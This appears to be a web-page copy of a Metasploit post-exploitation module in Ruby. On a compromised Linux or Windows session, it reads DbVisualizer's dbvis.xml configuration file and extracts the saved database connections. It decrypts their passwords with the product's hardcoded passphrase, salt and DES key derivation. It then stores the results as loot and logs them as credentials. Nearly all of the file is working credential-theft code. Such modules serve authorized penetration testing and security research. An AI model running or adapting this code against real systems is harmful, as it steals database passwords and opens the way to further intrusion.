Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/dbvis_enum.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'openssl'
7
require 'digest/md5'
8
9
class MetasploitModule < Msf::Post
10
include Msf::Post::File
11
include Msf::Post::Unix
12
include Msf::Auxiliary::Report
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Multi Gather DbVisualizer Connections Settings',
19
'Description' => %q{
20
DbVisualizer stores the user database configuration in dbvis.xml.
21
This module retrieves the connections settings from this file and decrypts the encrypted passwords.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [ 'David Bloom' ], # Twitter: @philophobia78
25
'Platform' => %w[linux win],
26
'SessionTypes' => [ 'meterpreter', 'shell'],
27
'Compat' => {
28
'Meterpreter' => {
29
'Commands' => %w[
30
stdapi_sys_config_getenv
31
]
32
}
33
},
34
'Notes' => {
35
'Stability' => [CRASH_SAFE],
36
'SideEffects' => [],
37
'Reliability' => []
38
}
39
)
40
)
41
register_options(
42
[
43
OptString.new('PASSPHRASE', [false, 'The hardcoded passphrase used for encryption']),
44
OptInt.new('ITERATION_COUNT', [false, 'The iteration count used in key derivation', 10])
45
]
46
)
47
end
48
49
def run
50
oldversion = false
51
52
case session.platform
53
when 'linux'
54
user = session.shell_command('whoami').chomp
55
print_status("Current user is #{user}")
56
if user =~ /root/
57
user_base = '/root/'
58
else
59
user_base = "/home/#{user}/"
60
end
61
dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml"
62
when 'windows'
63
if session.type == 'meterpreter'
64
user_profile = session.sys.config.getenv('USERPROFILE')
65
else
66
user_profile = cmd_exec('echo %USERPROFILE%').strip
67
end
68
dbvis_file = user_profile + '\\.dbvis\\config70\\dbvis.xml'
69
end
70
71
unless file?(dbvis_file)
72
# File not found, we next try with the old config path
73
print_status("File not found: #{dbvis_file}")
74
print_status('This could be an older version of dbvis, trying old path')
75
case session.platform
76
when 'linux'
77
dbvis_file = "#{user_base}.dbvis/config/dbvis.xml"
78
when 'windows'
79
dbvis_file = user_profile + '\\.dbvis\\config\\dbvis.xml'
80
end
81
unless file?(dbvis_file)
82
print_error("File not found: #{dbvis_file}")
83
return
84
end
85
oldversion = true
86
end
87
88
print_status("Reading: #{dbvis_file}")
89
print_line
90
raw_xml = ''
91
begin
92
raw_xml = read_file(dbvis_file)
93
rescue EOFError
94
# If there's nothing in the file, we hit EOFError
95
print_error("Nothing read from file: #{dbvis_file}, file may be empty")
96
return
97
end
98
99
if oldversion
100
# Parse old config file
101
db_table = parse_old_config_file(raw_xml)
102
else
103
# Parse new config file
104
db_table = parse_new_config_file(raw_xml)
105
end
106
107
if db_table.rows.empty?
108
print_status('No database settings found')
109
else
110
print_line
111
print_line(db_table.to_s)
112
print_good('Try to query listed databases with dbviscmd.sh (or .bat) -connection <alias> -sql <statements> and have fun!')
113
print_line
114
# Store found databases in loot
115
p = store_loot('dbvis.databases', 'text/csv', session, db_table.to_csv, 'dbvis_databases.txt', 'dbvis databases')
116
print_good("Databases settings stored in: #{p}")
117
end
118
119
print_status("Downloading #{dbvis_file}")
120
p = store_loot('dbvis.xml', 'text/xml', session, read_file(dbvis_file), dbvis_file.to_s, 'dbvis config')
121
print_good "dbvis.xml saved to #{p}"
122
end
123
124
# New config file parse function
125
def parse_new_config_file(raw_xml)
126
db_table = Rex::Text::Table.new(
127
'Header' => 'DbVisualizer Databases',
128
'Indent' => 2,
129
'Columns' =>
130
[
131
'Alias',
132
'Type',
133
'Server',
134
'Port',
135
'Database',
136
'Namespace',
137
'UserID',
138
'Password'
139
]
140
)
141
142
dbs = []
143
db = {}
144
dbfound = false
145
version_found = false
146
147
# fetch config file
148
raw_xml.each_line do |line|
149
if version_found == false
150
version_found = find_version(line)
151
end
152
153
if line =~ /<Database id=/
154
dbfound = true
155
elsif line =~ %r{</Database>}
156
dbfound = false
157
if db[:Database].nil?
158
db[:Database] = ''
159
end
160
if db[:Namespace].nil?
161
db[:Namespace] = ''
162
end
163
# save
164
dbs << db if db[:Alias] && db[:Type] && db[:Server] && db[:Port]
165
db = {}
166
end
167
168
next unless dbfound == true
169
170
# get the alias
171
if line =~ %r{<Alias>([\S+\s+]+)</Alias>}i
172
db[:Alias] = ::Regexp.last_match(1)
173
end
174
175
# get the type
176
if line =~ %r{<Type>([\S+\s+]+)</Type>}i
177
db[:Type] = ::Regexp.last_match(1)
178
end
179
180
# get the user
181
if line =~ %r{<Userid>([\S+\s+]+)</Userid>}i
182
db[:UserID] = ::Regexp.last_match(1)
183
end
184
185
# get user password
186
if line =~ %r{<Password>([\S+\s+]+)</Password>}i
187
enc_password = ::Regexp.last_match(1)
188
db[:Password] = decrypt_password(enc_password)
189
end
190
191
# get the server
192
if line =~ %r{<UrlVariable UrlVariableName="Server">([\S+\s+]+)</UrlVariable>}i
193
db[:Server] = ::Regexp.last_match(1)
194
end
195
196
# get the port
197
if line =~ %r{<UrlVariable UrlVariableName="Port">([\S+\s+]+)</UrlVariable>}i
198
db[:Port] = ::Regexp.last_match(1)
199
end
200
201
# get the database
202
if line =~ %r{<UrlVariable UrlVariableName="Database">([\S+\s+]+)</UrlVariable>}i
203
db[:Database] = ::Regexp.last_match(1)
204
end
205
206
# get the Namespace
207
if line =~ %r{<UrlVariable UrlVariableName="Namespace">([\S+\s+]+)</UrlVariable>}i
208
db[:Namespace] = ::Regexp.last_match(1)
209
end
210
end
211
212
# Fill the tab and report eligible servers
213
dbs.each do |database|
214
if ::Rex::Socket.is_ipv4?(database[:Server].to_s)
215
print_good("Reporting #{database[:Server]}")
216
report_host(host: database[:Server])
217
end
218
219
db_table << [
220
database[:Alias],
221
database[:Type],
222
database[:Server],
223
database[:Port],
224
database[:Database],
225
database[:Namespace],
226
database[:UserID],
227
database[:Password]
228
]
229
report_cred(
230
ip: database[:Server],
231
port: database[:Port].to_i,
232
service_name: database[:Type],
233
username: database[:UserID],
234
password: database[:Password]
235
)
236
end
237
238
return db_table
239
end
240
241
# New config file parse function
242
def parse_old_config_file(raw_xml)
243
db_table = Rex::Text::Table.new(
244
'Header' => 'DbVisualizer Databases',
245
'Indent' => 2,
246
'Columns' =>
247
[
248
'Alias',
249
'Type',
250
'URL',
251
'UserID',
252
'Password'
253
]
254
)
255
256
dbs = []
257
db = {}
258
dbfound = false
259
version_found = false
260
261
# fetch config file
262
raw_xml.each_line do |line|
263
if version_found == false
264
version_found = find_version(line)
265
end
266
267
if line =~ /<Database id=/
268
dbfound = true
269
elsif line =~ %r{</Database>}
270
dbfound = false
271
# save
272
dbs << db if db[:Alias] && db[:Url]
273
db = {}
274
end
275
276
next unless dbfound == true
277
278
# get the alias
279
if line =~ %r{<Alias>([\S+\s+]+)</Alias>}i
280
db[:Alias] = ::Regexp.last_match(1)
281
end
282
283
# get the type
284
if line =~ %r{<Type>([\S+\s+]+)</Type>}i
285
db[:Type] = ::Regexp.last_match(1)
286
end
287
288
# get the user
289
if line =~ %r{<Userid>([\S+\s+]+)</Userid>}i
290
db[:UserID] = ::Regexp.last_match(1)
291
end
292
293
# get the user password
294
if line =~ %r{<Password>([\S+\s+]+)</Password>}i
295
enc_password = ::Regexp.last_match(1)
296
db[:Password] = decrypt_password(enc_password)
297
end
298
299
# get the server URL
300
if line =~ %r{<Url>(\S+)</Url>}i
301
db[:URL] = ::Regexp.last_match(1)
302
end
303
end
304
305
# Fill the tab
306
dbs.each do |database|
307
if (database[:URL] =~ %r{[\S+\s+]+/+([\S+\s+]+):[\S+]+}i)
308
server = ::Regexp.last_match(1)
309
if ::Rex::Socket.is_ipv4?(server)
310
print_good("Reporting #{server}")
311
report_host(host: server)
312
end
313
end
314
db_table << [
315
database[:Alias],
316
database[:Type],
317
database[:URL],
318
database[:UserID],
319
database[:Password]
320
]
321
report_cred(
322
ip: server,
323
port: '',
324
service_name: database[:Type],
325
username: database[:UserID],
326
password: database[:Password]
327
)
328
end
329
330
return db_table
331
end
332
333
def find_version(tag)
334
if tag =~ %r{<Version>([\S+\s+]+)</Version>}i
335
print_good("DbVisualizer version: #{::Regexp.last_match(1)}")
336
return true
337
end
338
339
false
340
end
341
342
def report_cred(opts)
343
service_data = {
344
address: opts[:ip],
345
port: opts[:port],
346
service_name: opts[:service_name],
347
protocol: 'tcp',
348
workspace_id: myworkspace_id
349
}
350
351
credential_data = {
352
post_reference_name: refname,
353
session_id: session_db_id,
354
origin_type: :session,
355
private_data: opts[:password],
356
private_type: :password,
357
username: opts[:username]
358
}.merge(service_data)
359
360
login_data = {
361
core: create_credential(credential_data),
362
status: Metasploit::Model::Login::Status::UNTRIED
363
}.merge(service_data)
364
365
create_credential_login(login_data)
366
end
367
368
def decrypt_password(enc_password)
369
enc_password = Rex::Text.decode_base64(enc_password)
370
dk, iv = get_derived_key
371
des = OpenSSL::Cipher.new('DES-CBC')
372
des.decrypt
373
des.key = dk
374
des.iv = iv
375
des.update(enc_password) + des.final
376
end
377
378
def get_derived_key
379
key = passphrase + salt
380
iteration_count.times do
381
key = Digest::MD5.digest(key)
382
end
383
return key[0, 8], key[8, 8]
384
end
385
386
def salt
387
[-114, 18, 57, -100, 7, 114, 111, 90].pack('C*')
388
end
389
390
def passphrase
391
datastore['PASSPHRASE'] || 'qinda'
392
end
393
394
def iteration_count
395
datastore['ITERATION_COUNT'] || 10
396
end
397
end
398
399